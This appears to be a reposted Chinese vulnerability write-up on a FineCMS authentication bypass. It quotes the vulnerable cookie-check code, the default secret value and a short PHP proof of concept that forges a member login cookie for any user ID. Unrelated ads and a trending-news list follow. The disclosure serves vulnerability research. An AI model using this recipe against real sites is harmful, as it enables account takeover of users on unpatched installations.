FineCMS 任意用户登录
- 发布时间:2016-08-08
- 公开时间:N/A
- 漏洞类型:权限绕过
- 危害等级:高
- 漏洞编号:xianzhi-2016-08-37389606
- 测试版本:N/A
漏洞详情
controllers\Common.php 行211 protected function getMember() {
if (get_cookie('member_id') && get_cookie('member_code')) {
$uid = (int)get_cookie('member_id');
$code = get_cookie('member_code');
if (!empty($uid) && $code == substr(md5(SITE_MEMBER_COOKIE . $uid), 5, 20)) {
$_memberinfo = $this->db->where('id', $uid)->get('member')->row_array();
$member_table = $this->membermodel[$_memberinfo['modelid']]['tablename'];
if ($member_table) {
$memberdata = $this->db->where('id', $uid)->get($member_table)->row_array();
if ($memberdata) {
$_memberinfo = array_merge($_memberinfo, $memberdata);
$this->memberedit = 1; //不需要完善会员资料
}
if ($this->memberconfig['uc_use'] == 1 && function_exists('uc_api_mysql')) {
$uc = uc_api_mysql('user', 'get_user', array('username'=> $_memberinfo['username']));
if ($uc != 0) {
$_memberinfo['uid'] = $uc[0];
}
}
return $_memberinfo;
}
}
}
return false;
}
可以看到 cookie的验证非常简单
if (!empty($uid) && $code == substr(md5(SITE_MEMBER_COOKIE . $uid), 5, 20)) {
由于SITE_MEMBER_COOKIE 在安装时未初始化 所以使用默认值SITE_MEMBER_COOKIE就可以伪造cookie以任意用户身份登录前台
POC:
$id='2';
echo substr(md5('2967e68d382902a' . $id), 5, 20);
还是网上找的例子:http://www.xxx.com/
成功登录uid=2的账号
作者:索马里的乌贼
链接:https://www.jianshu.com/p/cf7205e8103e
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平澳门之行 这些瞬间令人难忘 7928218
- 2 上海地铁11号线 7950885
- 3 旅客扒高铁车门遭拖行:手被夹住 7891328
- 4 在澳门 传统文化在指尖绽放 7769998
- 5 岁月静好在赵丽颖身上具象化了 7672361
- 6 女大学生当收纳师一单赚16万 7521047
- 7 陈丽君 首届电影中国最佳男主角 7487064
- 8 冰雪大世界排队让大哥崩溃了 7333761
- 9 正式确诊了间歇性厌友症 7223778
- 10 非遗冬至宴 消寒祈福长 7176315